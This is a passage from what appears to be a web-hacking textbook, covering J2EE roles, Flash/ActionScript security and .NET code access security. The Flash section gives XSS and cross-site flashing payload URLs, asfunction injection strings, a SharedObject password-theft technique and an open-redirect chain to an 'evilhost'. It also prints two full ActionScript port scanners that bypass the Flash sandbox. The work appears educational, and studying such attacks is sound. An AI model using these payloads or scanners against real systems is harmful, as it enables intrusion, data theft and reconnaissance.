declaratively many of the aspects of the EJB’s function and makeup, and its relationship

with other beans.

One of the elements in the descriptor is the <security-role-ref> element. This element type

is used by the bean developer to define all of the security roles used in the EJB code.

Security role names are associated with links, which are then called elsewhere in the

descriptor.

The <security-role> element is used to call roles described in the <security-role-ref>

elements. For example:

<security-role-ref>

<role-name>root</role-name>

<role-link>super-user</role-link>

</security-role-ref>

<security-role>

<description>This is the security-role for the role “root”, defined above</description>

<role-name>super-user</role-name>

</security-role>

Deployment descriptors can also be used with other Java components (e.g. Apache SOAP

deployment

decriptors) but every EJB is required to have a deployment descriptor. The description field in

the <security-role> descriptor element is optional.

Membership of a role confers a set of permissions for the duration of the role membership.

Principals can be in several roles at the same time, e.g. employee and manager.

Method permissions are also described in the deployment descriptor.

2.2.4. Programmatic security

Role membership can be determined programmatically in the J2EE environment using the

Page 189: Advanced web application hacking and exploitation

188 | P a g e

isUserInRole and getUserPrincipal methods of the HTTPServletRequest object for the web

container.

As part of the bean-container contract, the container provides the EJBContext object. The

corresponding EJBContext methods are isCallerInRole and getCallerPrincipal.

getCallerPrincipal returns the principal associated with the security context, while,

predictably enough, isCallerInRole is a boolean method used to determine whether the

caller belongs to a specified security role

Flash Security

Aflax – Asynchronous Flash and XML is a development methodology which combines Ajax and

Flash to create more dynamic web based applications

August 2002 – The Flash! Attack Eye On Security

Embed in a Flash Movie the ActionScript function:

getURL('javascript: evilcode; ')

April 2003 - Misuse of Macromedia Flash Ads clickTAG Scan Security Wire

getURL (clickTag,'_self');

2003 - 2006 – Bug Hunters look for ClickTag for XSS on the Net Xavier Security Post

Page 190: Advanced web application hacking and exploitation

189 | P a g e

September 2006 - Backdooring Flash Objects

PDP Architect

Embed in a pre existent Flash movie another malicious SWF

October 2006 - Poking new holes with Flash Crossdomain

Policy Files

Stefan Esser

Trying to Force Crossdomain.xml and similar

January 2007 - Anti DNS Pinning with AS3

Martin Johns and Kanatoko Anvil

Intranet scanning with Flash and Anti DNS Pinning

Flash Apps - Security Concerns

Can execute JavaScript when embedded in a HTML page and viewed from inside a

Browser

Can forge binary requests and Http Requests.

Can execute external Flash Movies

Can play Audio/Video files natively.

Can display minimal Html code inside a TextField

SWF Interpreter Scheme

Browser Parses Html

Embed Flash Plugin

Flash Plugin Parses swf bytecode

Plugin and Browser Communicate via LiveConnect Interface

Page 191: Advanced web application hacking and exploitation

190 | P a g e

SharedObject

Designed to allow local storage of data pertinent to a user on that user's system.

Like cookies but better Could store up to 100kb data Are dependent to host/domain, path and

movie name

/userhome/.macromedia/Flash_Player/#SharedObjects/

XXXXX/flickr.com/slideShow/slideShow.swf/slideShowMS.so

Embedding SWF in Html - 1/2

SWF Objects could be:

Page 192: Advanced web application hacking and exploitation

191 | P a g e

Embedded as Object in a Html page with

<OBJECT> <EMBED> Tag

....

<object id='movie' width="200" height="150">

<param name=quality value=high>

<param name="movie" value="http:/host/test.swf">

<embed name='movie' src="http://host/movie.swf" quality=high

type="application/x-shockwave-flash" width="200" height="150">

</embed>

</object>

...

Embedding SWF in Html - 2/

SWF Objects could also be:

Loaded directly from Location Bar

Loaded inside an <IFRAME> Tag

Loaded inside a <FRAME> Tag

/* Firefox auto generated Html page*/

<html>

<body marginwidth="0" marginheight="0">

<embed width="100%" height="100%" name="plugin" src=http://host/movie.swf

type="application/x-shockwave-flash"/>

</body>

</html>

Timeline and Loaded Movie

Flash movies are based on a Timeline

Every movie is referenced by a level number and can be accessed by _levelN object ( _level0 is

always the first movie loaded )

Every movie can access the timeline by using the '_root' object (when allowed by security

policies).

Page 193: Advanced web application hacking and exploitation

192 | P a g e

Global variables are accessible by every level by using: _global.variable

Types, Variables and Access Specifiers

Types are checked only at compile time. Then runtime casting is applied.

Private Methods are only checked at compile timeEvery variable is an Object

Variable scopes and definitions are described in ECMA standard

Like in Javascript, __proto__, _parent, prototype.. are available in ActionScript

External/Remote Input Parameter

Url QueryString:

http://host/Movie.swf?par1=val1&par2=val2

FlashVar Attribute:

<param name=FlashVars value="par1=val1&par2=val2">

loadVars AS Object loads parameters from a remote host:

var vars= new LoadVar();

vars.load('http://host/page');

Query String and FlashVars are equivalent

AS Security Model

Since Flash Version >=7 a Security model is implemented

in order to:

Control and block interaction and access among external movies (Same Origin Policy) by

SandBox models

Page 194: Advanced web application hacking and exploitation

193 | P a g e

Control Interaction and access between Browser and Movies

SandBoxes and allowDomain

SandBoxes allow movies to share or separate runtimeenvironments.

Movies loaded in the same sandbox, share everything:

Variables

Objects

Classes

AllowDomain: Static AS Function Gives access to the same sandbox to an external movie.

System.Security.allowDomain(“b.com”)

Page 195: Advanced web application hacking and exploitation

194 | P a g e

SandBoxes and Flash Version

If a movie compiled with version <= 5 loads another external movie compiled with V <=5 then

sandboxes restrictions are not applied:

Flash Versions that have access to external Movies Variables

SandBox Restrictions are applied to:

• Domains if version is 6 and 7

• FQDN if version is >=

loadPolicyFile & crossdomain.xml

For security reasons, a Macromedia Flash movie playing in a web browser is not allowed to

access data that resides outside the exact web domain from which the SWF originated.

Cross-domain policy files, named crossdomain.xml, are placed at the root level of a server.

<?xml version="1.0"?>

<cross-domain-policy>

<allow-access-from domain="www.company.com" />

</cross-domain-policy>

System.security.loadPolicyFile(url) loads a cross-domain policy file from a location specified by

the url parameter it could be different from default crossdomain.xml file.

Flash Player uses policy files as a permission mechanism to permit Flash movies to load data

from servers other than their own.

Page 196: Advanced web application hacking and exploitation

195 | P a g e

SWF/Browser Communication

AllowScriptAccess Attribute (always | never | samedomain )

Allows or denies Movie access to JavaScript

Default is SameDomain

Ex.

getURL('javascript: alert(123);')

<object id="pl" width="200" height="150">

<param name=movie value="Movie.swf">

<embed AllowScriptAccess="always" name='pl' src="Movie.swf" type="application/x-

shockwave-flash" width="200" height="150">

</embed>

</object>

The security policy is only applicable to Version >= 8

If ( Swf Version <= 7 )

{

Javascript has Access to the Movie

}

SWLiveconnect Attribute

If ( SWLiveconnect == True )

{

Loads Java VM when swf is loaded

}

<object id="pl" width="200" height="150">

<param name=movie value="Movie.swf">

<embed swLiveConnect="true" AllowScriptAccess="always"

name='pl' src="Movie.swf" type="application/x-shockwave-flash"

width="200" height="150">

</embed>

</object

Page 197: Advanced web application hacking and exploitation

196 | P a g e

Client Side Attacks

Client Side Flash Application Testing could result in two types of attacks:

Classical XSS

Cross Site Flashing (the dark side of Cross Movie Scripting)

A new attack vector: Cross Site Flashing

XSF Occurs when from different domains: One Movie loads another Movie with

loadMovie* functions or other hacks and has access to the same sandbox or part of it

XSF could also occurs when an HTML page uses JavaScript (or another scripting

language) to script a Macromedia Flash movie, for example, by calling:

o GetVariable: access to flash public and static object from javascript as a string.

o SetVariable: set a static or public flash object to a new string value from

javascript.

o Or other scripting method

Unexpected Browser to swf communication could result in stealing data from swf

application

Examples of XSF (Cross Site Flashing):

http://test.websec.cz/test-xsf.swf?x=%3Ci%3Exxx%3Cimg%20src=%22http://websec.cz/xss.swf%22%3E

http://test.websec.cz/test-xsf.swf?x=%3Ci%3Exxx%3Cimg%20src=%22javascript:alert(123);//.jpg%22%3E

Flash testing

Information Gathering:

o SWF Files are Indexed by Google.com

Client Side ActionScript 2 allows swf movies to be:

o Downloaded and tested on a local host

o Decompiled

o Analyzed

o Search for input parameters

o Attacked

Google Dork:

Page 198: Advanced web application hacking and exploitation

197 | P a g e

site:example.com filetype:swf

Free/OS Flash Test/Devel Tools

Decompiler – Flare

<http://www.nowrap.de/flare.html>

Compiler – MTASC

<http://www.mtasc.org/>

Disassembler – Flasm

<http://flasm.sourceforge.net/>

Swfmill – Convert Swf to XML and vice versa

<http://swfmill.org/>

Debugger Version of Flash Plugin/Player

http://www.adobe.com/support/flash/downloads.html

Useful Commands

To decompile a movie.swf to movie.flr

flare movie.swf

Page 199: Advanced web application hacking and exploitation

198 | P a g e

To compile a Actionscript movie.as to movie.swf

mtasc -version n -header 10:10:20 -main -swf movie.swf movie.as

To disassemble to swf pseudo code:

flasm -d movie.swf

To get labels and frames name from a swf:

swfmill swf2xml movie.swf movie.xml

Debugger Version of Flash Plugin/Player:

logs all trace and errors to:

/userhome/.macromedia/Flash_Player/Logs/flashlog.txt

The Attack Flow

We will see the dangerous mechanisms that could lead to Client Side Attacks:

URL QueryString

Global Uninitialized Variables

flashVars

External Movies

Remote XML files

MP3 and Flv Movies

Embedded Html

Page 200: Advanced web application hacking and exploitation

199 | P a g e

Uninitialized Vars Aka Register Global

Similar to PHP Register Globals

Every uninitialized variable with global scope is a potential threat:

o _root.*

o _global.*

o _level0.*

o *

It is easy to add it as a parameter in the query string:

http://URL?language=http://evil

Page 201: Advanced web application hacking and exploitation

200 | P a g e

Uninitialized Vars in Secondary Movies aka Reg Glob in included files ½

Assumptions made for _leveln movies are wrong when a movie supposed to be at level1

is loaded as _level0

_level(n-1).

Page 202: Advanced web application hacking and exploitation

201 | P a g e

Then let's load upperlev.swf and then use query string to initialize DEMO_PATH:

http://host/upperlev.swf?DEMO_PATH=http://evil

GetURL & XSS

GetURL Function lets the movie to load a URI into Browser's Window

o getURL('URI','_targetFrame');

This means it's possible to call javascript in the same domain where the movie is hosted:

o getURL('javascript:evilcode','_self');

Dom Injection with Flash javascript injection into

o getUrl('javascript:function('+_root.ci+'))

Html inside Flash Movies

TextField Objects can render minimal Html by setting:

tf.html = true

tf.htmlText = '<tag>text</tag>'

A html TextField Object could be created by calling createTextField:

Html inside Flash Movies:

Flawed Code Example:

Page 203: Advanced web application hacking and exploitation

202 | P a g e

This means that html text could be injected inside a movie

Html inside Flash Movies – The Tag

Flash Player can interpret several tags but we will concentrate on the following

o Anchor tag:

<a href='URI'>text</a>

o Image tag:

<img src='URI' id='FlashObjectID'

asfunction: Pseudo Protocol

A special protocol for URLs in HTML text fields.

The asfunction protocol is an additional protocol specific to Flash, which causes the link

to invoke an ActionScript function.

Syntax:

asfunction:function,parameter

Ex:

function MyFunc(arg){

trace ("You clicked me!Argument was "+arg);

}

myTextField.htmlText ="<A HREF=\"asfunction:MyFunc,Foo \">ClickMe!</A>";

Page 204: Advanced web application hacking and exploitation

203 | P a g e

Html in Flash – The “A” Tag

“.. You can use the special asfunction protocol to cause the link to execute an

ActionScript function in a SWF file instead of opening a URL...” ( Adobe.com )

With asfunction an attacker could call all public and static functions with 1 String

parameter.

Ex.

Some Attack Example with A Tag:

Direct XSS: <a href='javascript:alert(123)' >

Call AS function: <a href='asfunction:function,arg' >

Call Swf public functions:

<a href='asfunction:_root.obj.function, arg'>

Call Native Static AS Function:

<a href='asfunction:System.Security.allowDomain,evilhost' >

Page 205: Advanced web application hacking and exploitation

204 | P a g e

It is possible to compile the flash movie specifically to v7:

class XSS {

public static function main(){

getURL('javascript:evilcode') ;

Page 206: Advanced web application hacking and exploitation

205 | P a g e

}

}

Then compiling with MTASC with -version option:

mtasc -version 7 -swf evilv7.swf -main -header 1:1:20 XSS.as

And then exploit the swf injection using the image tag:

If an attacker tries to directly inject javascript: Uri in a IMG tag, nothing happens

In fact Flash Player checks for '.jpg' and '.swf' extensions and blocks image loading if the

check fails.

Now trying to use javascript: but with '.jpg' appended:

<img src='javascript: alert(123); //.jpg' >

Will be executed.

The same with asfunction as in 'A' tag but only for non-static functions:

<img src='asfunction: path.to.function, arg .jpg' >

The 'id' attribute is interesting as well.

<img src='someuri/movie.swf' id='objId'>

Is the reference of the movie.swf object from inside Actionscript:

_root.createTextField("my_txt", 4, 100, 100, 300, 400);

var img = _root.my_txt.objid

an attacker could overwrite Movie attributes by setting, for example:

id='__proto__

Page 207: Advanced web application hacking and exploitation

206 | P a g e

Potentially Dangerous Native Functions:

loadVariables('url', level )

LoadMovie ( 'url', target )

LoadMovieNum( 'url', level )

XML.load ( 'url' )

LoadVars.load ( 'url' )

Sound.loadSound( 'url' , isStreaming );

NetStream.play( 'url' )

Every Potentially Dangerous Native Function ( PDNF ) allows asfunction: pseudo protocol so if a

flawed code like the following is present:

loadMovie(_root.mURL + '/movie2.swf');

By setting the URL:

host/flawed.swf?URL=asfunction:getURL,javascript:alert(123)//

It will result in:

loadMovie('asfunction:getURL,javascript:alert(123)///movie2.swf')

And then javascript code will be executed.

Even when 'http://' protocol is checked and asfunction: could not be used, each PDNF could

have its own specific attacks related to the aim of the object it represents.

For example:

XML.load('http://'+ _root.xmlUrl)

Could be later used to display Html code

Some Advanced Hacks:

Dom Injection on firefox #:

Firefox Flash plugin parses everything in the query string, even after the sharp.

http://host/flawed.swf?#blah=blah&par1=val1&par2=val2

This means that nothing after the sharp goes to the server but parameters and values

are parsed and instantiated by the plugin (in the same way as in UXSS PDF)

When a swf is loaded from a address bar or an iframe, an Html page is automatically

generated.

If swf could be XSSed an attacker could execute:

o Movie =getElementById('plugin');

Page 208: Advanced web application hacking and exploitation

207 | P a g e

o Movie.GetVariable('_root.path.To.Vars');

o Movie.SetVariable('_root.path.To.Vars','string');

Getting or Setting ActionScript public and static attributes will result in:

o stealing information

o changing the application data flow

SharedObjects Functions and variables

o When functions and variables are used in order to store data from a

sharedObject to an attribute, it could be possible to steal such data by using

javascript GetVariable or by calling some specific function with one of the

techniques previously seen.

o Ex.

var so;

function getShared(arg){

this.so = SharedObject.getLocal('myso');

return this.so.data[arg];

}

o with asfunction we could call getShared('password')

o and then from an injected javascript

movie.GetVariable('_root.obj.so.data.password');

Extensive use of redirectors

o There are cases where there's dynamic construction of a url string like the

following:

var url = 'http://host/path/to/'+page;

if page parameter is not properly validated and there's a redirection page

somewhere on the host like

http://host/redir?uri=http://anotherhost

then it will be easy to redirect to another controlled site by setting page to:

page=../../redir?uri=http://evilhost/evilscript

Conclusions

Flash Applications are used all around the Web

Flash Applications could be very complex and insecure

There is no real awareness about ActionScript security

As usual, security measures must be taken when client side applications are develop as

well as server side

Page 209: Advanced web application hacking and exploitation

208 | P a g e

There is a lot of interesting things which are yet to be analyzed from a security point of

view, especially the client side stuff.

There is a lot of interesting things which are yet to be analyzed from a security point of

view, especially server side stuff (but that is another story).

More on policy changes in Flash 9 & 10:

http://www.adobe.com/devnet/flashplayer/articles/fplayer9_security.html

ActionScript 3 Flash Based Remote Port Scanner:

<mx:Application xmlns:mx="http://www.adobe.com/2006/mxml" xmlns="*" width="600" height="600">

<mx:Script>

<![CDATA[

import flash.net.*;

import flash.events.*;

private var socket:Socket;

private var currentPort:uint;

private var toPort:uint;

private function createSocket():void

{

socket = new Socket();

socket.addEventListener("connect", socket_connect);

socket.addEventListener("ioError", socket_ioError);

}

private function deleteSocket():void

{

socket.removeEventListener("connect",socket_connect);

socket.removeEventListener("ioError", socket_ioError);

socket.close ();

}

private function startScanning():void

{

createSocket();

currentPort = uint(fromPort_ti.text);

toPort = uint(toPort_ti.text);

scanPort(currentPort);

}

Page 210: Advanced web application hacking and exploitation

209 | P a g e

private function scanPort(port:uint):void

{

if(port <= toPort)

{

status.text = "Scanning port:" + port + "\n";

socket.connect(host.text, port);

enableControls(false);

}

else

{

enableControls(true);

deleteSocket();

status.text = "Scanning complete..";

}

}

private function socket_connect(event:Event):void

{

openPorts_ta.text += currentPort + "\n";

currentPort++;

socket.close();

scanPort(currentPort);

}

private function socket_ioError(event:IOErrorEvent):void

{

/*

Not sure, when there is ioError I am not able to reuse same socket object.

So deleting current socket object and recreating another socket object...

*/

deleteSocket();

createSocket();

scanPort(++currentPort);

}

private function enableControls(bEnable:Boolean):void

{

host.enabled = bEnable;

toPort_ti.enabled = bEnable;

Page 211: Advanced web application hacking and exploitation

210 | P a g e

fromPort_ti.enabled = bEnable;

scanButton.enabled = bEnable;

}

]]>

</mx:Script>

<mx:Form>

<mx:FormItem label="Host:"><mx:TextInput id="host" text="127.0.0.1"/></mx:FormItem>

<mx:FormItem label="Start port:"><mx:TextInput id="fromPort_ti" text="1"/></mx:FormItem>

<mx:FormItem label="To port:"><mx:TextInput id="toPort_ti" text="65535"/></mx:FormItem>

<mx:FormItem><mx:Button id="scanButton" label="Start Scannning" click="startScanning()"/></mx:FormItem>

</mx:Form>

<mx:VBox>

<mx:Label text="Open Ports:"/>

<mx:TextArea id="openPorts_ta" width="400" height="250"/>

<mx:Label id="status"/>

</mx:VBox>

</mx:Application>

Flash 9 AS3 TCP-Portprober

/** * Flash 9 AS3 TCP-Portprober * * this Actionscript Application was created to detect if a given TCP Port on a given host is reachable or not from the host the swf is running on * * this application is totally bypassing the flash player security sandbox model / it actually uses the security model to probe a port * * the application is based on a timing problem in the SecurityErrorEvent that Adobe introduced with AS3 * * the swf currently needs to be reloaded for every port because the SecurityPolicy state is cached in the player * javascript is used to implement the actual portscanner * * the application will report closed ports for services that understand the "<policy-file-request/>"-XML this is a extremely rare case

Page 212: Advanced web application hacking and exploitation

211 | P a g e

* * @author David Neu <[email protected]> * @thx fukami, SektionEins GmbH - Web Security Auditing and Software (http://www.sektioneins.de/) * @usage embed in an html page and add the parameters host and port * the application will check if the port is reachable from the host the swf runs on and then calls the javascript function "reportResult" with the port number and the ports state (true or false) * @see http://scan.flashsec.org * @see https://www.flashsec.org * @see http://livedocs.adobe.com/flex/2/langref/flash/net/XMLSocket.html * @see http://livedocs.adobe.com/flex/2/langref/flash/events/SecurityErrorEvent.html */ package { import flash.display.Sprite; import flash.external.ExternalInterface; import flash.net.Socket; import flash.text.TextField; import flash.utils.Timer; import flash.events.Event; import flash.events.SecurityErrorEvent; import flash.events.IOErrorEvent; import flash.events.TimerEvent; import flash.system.fscommand; public class Main extends flash.display.Sprite { // textField for status viewing protected var tf:TextField; // the socket that (tries) connects protected var socket:Socket; // timer for detecting not answering policy-requests protected var timer:Timer; // the host to probe protected var host:String; // the port to probe protected var port:Number; // Main Entry Point public function Main():void {

Page 213: Advanced web application hacking and exploitation

212 | P a g e

// setup status textfield tf = new TextField(); tf.width = 600; tf.height = 300; // get port from parameters port = parseInt(this.loaderInfo.parameters['port']); if (isNaN(port)) { port = 80; } // get host from parameters host = this.loaderInfo.parameters['host']; if (host == null) { host = '127.0.0.1'; } addChild(tf); // setup the timer // if a port is closed an the flash plugin is not able to write the "<policy-file-request/>"-XML to the socket it will immediately fire an SecurityErrorEvent. If the SecurityErrorEvent is not fired within 2 seconds we assume that flash was able to write the xml to the socket an is waiting for a reply -> the port is open. The timer can be reduced a lot to make scanning even faster. timer = new Timer(2000, 1); timer.addEventListener(TimerEvent.TIMER, onTimer); //tf.appendText('interface: '+ExternalInterface.available); //ExternalInterface.call('alert', 'test'); probe(); } protected function probe():void { // show some info text tf.appendText('probe host: '+host+' port: '+port); // setup socket an event listeners socket = new Socket(); // listen to the badly implemented security error socket.addEventListener(SecurityErrorEvent.SECURITY_ERROR, onSecurityError); // listen to sucessfull connects (should in fact never happen) socket.addEventListener(Event.CONNECT, onConnect); // listen to IO Errors that will also never occur

Page 214: Advanced web application hacking and exploitation

213 | P a g e

socket.addEventListener(IOErrorEvent.IO_ERROR, onIOError); timer.reset(); timer.start(); // try to connect socket.connect(host, port); } /** * Called when the SecurityErrorEvent is Fired * when there is an SecurityErrorEvent before the timeout we assume the port is closed * * @param e SecurityErrorEvent * @return void */ protected function onSecurityError(e:SecurityErrorEvent):void { portClosed(); } /** * Called when the Connect event is fired * when we can conect to a port it is definitely open * should only happen in very rare cases * * @param e Event * @return void */ protected function onConnect(e:Event):void { portOpen(); } /** * when we get an IO Error the port is closed * as the connect event this will only happen in very rare cases * * @param e * @return */ protected function onIOError(e:Event):void { portClosed();

Page 215: Advanced web application hacking and exploitation

214 | P a g e

} /** * when the flash plugin has waited too long for the reply to the Policy Request the Timer is fired * assume the port is open as flash was able to write the policy request to it * * @param e TimerEvent * @return void */ protected function onTimer(e:TimerEvent):void { portOpen(); } /** * show that the port is open and report to the html-Page * * @return void */ protected function portOpen():void { tf.appendText('\nOPEN'); ExternalInterface.call('reportResult', port, "true"); } /** * show that the port is closed and report to the html page * @return void */ protected function portClosed():void { tf.appendText('\nCLOSED'); timer.reset(); ExternalInterface.call('reportResult', port, "false"); } } }

Page 216: Advanced web application hacking and exploitation

215 | P a g e

Page 217: Advanced web application hacking and exploitation

216 | P a g e

ActionScript 3 Crypto Framework

http://flash.melameth.com/togflash.msi

Page 218: Advanced web application hacking and exploitation

217 | P a g e

Page 219: Advanced web application hacking and exploitation

218 | P a g e

Page 220: Advanced web application hacking and exploitation

219 | P a g e

Page 221: Advanced web application hacking and exploitation

220 | P a g e

DotNet Applet Security

The CLR Architecture

Page 222: Advanced web application hacking and exploitation

221 | P a g e

Code access security (CAS)

is a new feature provided by the .NET Common Language Runtime. CAS is the part of the .NET

security model that determines whether or not a piece of code is allowed to run, and what

resources it can use when it is running.

Example: CAS that will prevent a .NET web applet from formatting your hard disk.

The CAS security policy revolves around two key concepts:

Code groups and permissions.

Each .NET assembly is a member of a particular code group, and each code group is granted the

permissions specified in a named permission set.

Defining the CAS code groups:

Microsoft defines some default ones, but you can modify these and even create your own. To

see the code groups defined on your system, run ‘caspol –lg’ from the command line. It lists the

code groups on your machine. On my machine it looks like this:

Page 223: Advanced web application hacking and exploitation

222 | P a g e

Microsoft (R) .NET Framework CasPol 1.0.3705.0 Copyright (C) Microsoft Corporation 1998-2001. All rights reserved. Security is ON Execution checking is ON Policy change prompt is ON Level = Machine Code Groups: 1. All code: Nothing 1.1. Zone - MyComputer: FullTrust 1.1.1. StrongName - 00240000048000009400000006020000002400005253413100040

0000100010007D1FA57C4AED9F0A32E84AA0FAEFD0DE9E8FD6AEC8F87FB03766C834C99921

EB23BE 79AD9D5DCC1DD9AD236132102900B723CF980957FC4E177108FC607774F29E8320E92EA05ECE4E82 1C0A5EFE8F1645C4C0C93C1AB99285D622CAA652C1DFAD63D745D6F2DE5F17E5EAF0FC4963D261C8 A12436518206DC093344D5AD293: FullTrust 1.1.2. StrongName - 00000000000000000400000000000000: FullTrust

1.2. Zone - Intranet: LocalIntranet 1.2.1. All code: Same site Web. 1.2.2. All code: Same directory FileIO - Read, PathDiscovery 1.3. Zone - Internet: Internet

1.3.1. All code: Same site Web. 1.4. Zone - Untrusted: Nothing

1.5. Zone - Trusted: Internet 1.5.1. All code: Same site Web. Success

Note the hierarchy of code groups: The top of the hierarchy is the most general(‘All code’),

which is then sub-divided into several groups, each on which in turn can be sub-divided. Also

note that a sub group can be associated with a more permissive permission set than it’s parent.

Defining the own code group:

By using caspol you can define your own code group.

For example, suppose you trust code from www.mydomain.com and you want it have full access

to your system, but you want to keep the default restrictions for all other internet sites. To

achieve this, you would add a new code group as a sub-group of the 'Zone - Internet' group, like

Page 224: Advanced web application hacking and exploitation

223 | P a g e

this:

caspol -ag 1.3 -site www.mydomain.com FullTrust

Now if you run caspol -lg you will see that the new group has been added as group 1.3.1:

...

1.3. Zone - Internet: Internet

1.3.1. Site - www.mydomain.com: FullTrust

...

Note that the numeric label (1.3.1) is just a caspol invention to make the code groups easy to

manipulate from the command-line. The underlying runtime never sees it.

Changing the permission set for a code group:

By using caspol, change the permission set for a code group. If you are the machine

administrator, you can operate at the 'machine' level - which means not only that the changes

you make become the default for the machine, but also that users cannot change the

permissions to be more permissive. If you are a normal (non-admin) user you can still modify

the permissions, but only to make them more restrictive. For example, to allow intranet code

to do what it likes you might do this:

caspol -cg 1.2 FullTrust.

Note that because this is more permissive than the default policy (on a standard system), you

should only do this at the machine level - doing it at the user level will have no effect.

Creating own permission set:

Usecaspol -ap, specifying an XML file containing the permissions in the permission set.

When you have edited the sample, add it to the range of available permission sets like

this:

aspol -ap samplepermset.xml

Then, to apply the permission set to a code group, do something like this:

caspol -cg 1.3 SamplePermSet (By default, 1.3 is the 'Internet' code group)

Page 225: Advanced web application hacking and exploitation

224 | P a g e

Trouble with CAS:

If u have any trouble with CAS, if u want to diagnose your problem, caspol has a couple of

options that might help. First, you can ask caspol to tell you what code group an assembly

belongs to, using caspol -rsg. Similarly, you can ask what permissions are being applied to a

particular assembly using caspol -rsp.

Turn it off CAS:

If u want to turn it off CAS, u should be the administrator. By using this command u can turn it

off CAS. Caspol –s off.

The CLR and base classes are responsible in large part for security functions within the .Net

framework. The CLR uses a number of criteria to determine the security permissions of code to

be executed, and obtains some security information from XML configuration files.

The base classes control access to resources such as the file system by determining the

permissions of the caller.

.Net’s two primary security functions are described in the following sections.

2.1.1. Code access security

Code access security is a core part of the CLR’s security function. Code access security

determines the level of trust assigned to a piece of code based on its origins, publisher and

other factors. Some key concepts used to define code access security are described

below.

2.1.1.1. Evidence-based security

.Net uses the concept of “Evidence-based security”, to describe the process by which

assemblies are examined by the CLR at runtime. The CLR queries assemblies using the

following primary criteria:

• Where did this code originate?

• Who created this assembly?

The first question can be broken out into “Which URL did the assembly originate from?”

and “Which zone did the assembly originate from?”. Microsoft uses the concept of zones

to describe security environments like the Internet, local networks or intranets, the local

machine, etc.

Evidence can also be in the form of a digital certificate signed by the publisher of the

assembly or the strong name (a unique identifier, consisting of a text name, digital

signature, and a public key) of the assembly.

The second question is reasonably straightforward – “What information is available on the

Page 226: Advanced web application hacking and exploitation

225 | P a g e

creator of this assembly?”. The evidence gathered is included as part of an assembly’s metadata.

Metadata can

include information on types, relationships with other assemblies, security permissions

requested as well as a description of the assembly. Metadata is examined by the CLR at

various points, including by the verifier, which ensures that types are correct prior to

compilation of IL to native code. The verifier is also responsible for ensuring that the

metadata associated with an assembly is valid.

The CLR examines the metadata to establish an identity for the assembly and determines

the permissions allocated to the assembly based on the security policy.

2.1.1.2. Permissions

Permissions within the CLR are the building blocks of access control. A code access

permission in this context is the right of a piece of code to access a particular resource or

perform a particular operation. When assemblies are built, the permissions that it requires

to run can be included as part of its description.

At runtime the assembly requests these permissions, and those permissions that it

requests are either granted or denied by the CLR. An assembly will never be given greater

permissions than the current security policy allows, but may be given lesser permissions

than it requests.

Examples of permissions are SecurityPermission (the permission to view or modify the

security policy), UIPermission (the right to create sub-windows and make use of the

clipboard) and the RegistryPermission class (which gives access to Windows Registry

details).

Permissions can be grouped into permission sets for ease of administration. These

permission sets are then associated with code groups, which are described in the next

section. Examples of permission sets are Nothing (no permissions at all, so code cannot

execute), Internet (the permissions assigned to untrusted code) and Everything (the set of

permissions that grants all standard permissions, with the exception of avoiding code

verification).

At runtime, the CLR performs what is known as a stack walk to determine whether the

calling assembly has permission to access a particular resource, checking requested

permissions against granted permissions for each caller on the stack.

If an assembly’s request for access to a resource is denied, a SecurityException is thrown.

2.1.1.3. Security Policy

Page 227: Advanced web application hacking and exploitation

226 | P a g e

The security policy is administered using the Code Access Security Policy Tool

(Caspol.exe) or the .Net Framework configuration tool. Administrators set the policy for

assemblies and application domains, the CLR uses the evidence described above to

identify an assembly, and then uses the security policy to determine the permissions the

assembly has at runtime.

The policy identifies code by organising code into groups that categorise based on the

evidentiary information described, such as the zone from which the code is loaded. If no

other information is available, the default policy for the zone from which the code was

obtained will be used to determine the permissions that an assembly has.

2.1.2. Role-based security

User membership in a role within a .Net application helps to determine the access that the

user has to perform particular operations and access resources. For example, in the case

of a financial application, a Broker role might have permission to initiate, authorise and

cancel trades on behalf of an individual or financial institution. Role-based security describes the

means by which the .Net framework identifies,

authenticates and authorises an individual user from any of a number of authoritative

sources. When a user is identified, their authenticated identity (and role membership) is

denoted by the term principal. A principal can be a member of one or more roles; for

example, an individual could be a member of a Broker and an Executive role.

Role-based security employs a permission structure similar to that of code access security,

with permissions managed through the PrincipalPermission object.

Authentication and authorisation sources for users can be through Windows machine

security, domain security or some custom authentication source.

2.1.3. Programmatic security

.Net uses the IsInRole method to determine whether a user belongs to a particular role.

For example, to determine if a user has membership of a Broker role, the following could

be used :

If User.IsInRole(“Broker”)

‘ Permit requested function

Else

‘ Bounce back to login

End If

The classes responsible for the determination of principal identity are stored in the

System.Security.Principal namespace.